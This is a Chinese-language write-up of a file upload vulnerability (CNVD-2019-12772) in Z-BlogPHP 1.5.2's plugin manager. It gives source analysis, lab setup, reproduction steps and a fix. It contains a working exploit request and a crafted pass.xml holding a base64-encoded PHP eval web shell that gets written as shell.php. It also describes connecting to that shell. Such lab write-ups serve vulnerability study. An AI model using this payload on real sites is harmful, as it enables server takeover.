文章目录
0x01 简介
- 0x01 简介
- 0x02 漏洞概述
- 0x03 影响版本
- 0x04 漏洞编号
- 0x05 漏洞分析
- 第一步 获取数据包,查看文件上传功能接口
- 第二步 查看该文件源码
- 第三步全局搜索该函数,查看UnPack函数
- 第四步 首先对app.php中的源码进行分析
- 第五步 接着向下,继续分析,
- 第六步 则根据最后一步骤,可生成开始时的exp,
- 0x06 环境搭建
- 第一步 使用phpstudy搭建网站
- 第二步 解开源码压缩包
- 第三步 打开浏览器
- 第四步 默认下一步,直到数据库配置
- 第五步 创建数据库
- 第六步 输入相关信息点击下一步
- 第七步 跳转至首页
- 0x07漏洞复现
- 第一步 创建pass.xml
- 第二步 base64加密
- 第三步 访问网站
- 第四步 登录后台,查看漏洞点
- 第五步 提交后,使用工具连接
- 第六步 连接该文件
- 0x08 漏洞修复
- 免责声明
- Z-Blog是由
Z-Blog
开发团队开发的一款小巧而强大的基于Asp和PHP平台
的开源程序, - 致力于给用户提供优秀的
博客写作体验
。
Z-BlogPHP1.5.2Zero
后台主题管理和插件管理
处存在文件上传
漏洞,- 攻击者可利用该漏洞
获取网站服务器
控制权。
- Z-blog Z-BlogPHP
1.5.2
https://www.cnvd.org.cn/flaw/show/CNVD-2019-12772
POST /Z-BlogPHP_1_5_2_1935_Zero/zb_users/plugin/AppCentre/app_upload.php HTTP/1.1
Host: 192.168.253.194:8080
Content-Length: 564
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.253.194:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPmjYAYBaK78uLRz8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.253.194:8080/Z-BlogPHP_1_5_2_1935_Zero/zb_system/admin/index.php?act=PluginMng
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: timezone=8; username=admin_123456; token=72d259b048974d2634509eb46532cc3ca0d78eb140e065cf72dceccddb4501f21652009809; addinfoZ-BlogPHP_1_5_2_1935_Zero=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu5458%22%2C%22userid%22%3A%221%22%2C%22useralias%22%3A%22admin_123456%22%7D
Connection: close
------WebKitFormBoundaryPmjYAYBaK78uLRz8
Content-Disposition: form-data; name="edtFileLoad"; filename="pass.xml"
Content-Type: text/xml
shell.php
PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pID8+
------WebKitFormBoundaryPmjYAYBaK78uLRz8
Content-Disposition: form-data; name="B1"
鎻愪氦
------WebKitFormBoundaryPmjYAYBaK78uLRz8
Content-Disposition: form-data; name="token"
2a384414a275c74d6e8fa60fec4b999e
------WebKitFormBoundaryPmjYAYBaK78uLRz8--
发现上传文件类型为xml,且使用unpack函数对数据进行解包
if (App::UnPack($xml)) {
$zbp->SetHint('good', '上传APP并解压成功!');
Redirect($_SERVER["HTTP_REFERER"]);
} else {
$zbp->SetHint('bad', $zbp->lang['error']['64']);
Redirect($_SERVER["HTTP_REFERER"]);
}
发现当上传的文件不是xml时,就会通过simplexml_load_string() 函数加载其对象为false,并且当xml文件的version不等于php时,也会返回false,还有就是当xml文件上传成功后,通过一个type变量将上传的文件与zb_users文件进行拼接,也就是说上传成功的文件路径在/zb_users/xxx/下。
发现此处对xml文件进行了遍历,当传入的文件xml不存在时,就会在之前的路径下新创建一个0755的文件,并将其指向floder标签下;如果传入的xml文件存在,就会将其指向stream标签下的file这个文件,并通过base64编码的方式与其拼接。
设定version为php,文件内容为base64编码后的一句话木马,path为*.php,根据源码规则,会在zb_users下新建*.php文件,内容便为解码后的一句话木马。
0x06 环境搭建 第一步 使用phpstudy搭建网站启动phpstudy后启动apache及mysql,打开网站根目录。
将文件夹下所有文件复制至网站根目录下。
访问127.0.0.1或localhost,自动跳转至install目录,开始安装过程。
出现安装结果,安装完成,点击完成,
在本地新建文件pass.xml,内容如下:
shell.php
PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pID8+
PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pID8+
为base64
编码后的一句话木马,原内容为
点击右方链接登陆后台
点击“插件管理”
,选择提前新建的文件pass.xml
并提交
位于/zb_users/
目录下,文件名为shell.php
,密码为pass
更新系统版本为官方最新版
免责声明本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!由于使用不当造成的后果上传者概不负责!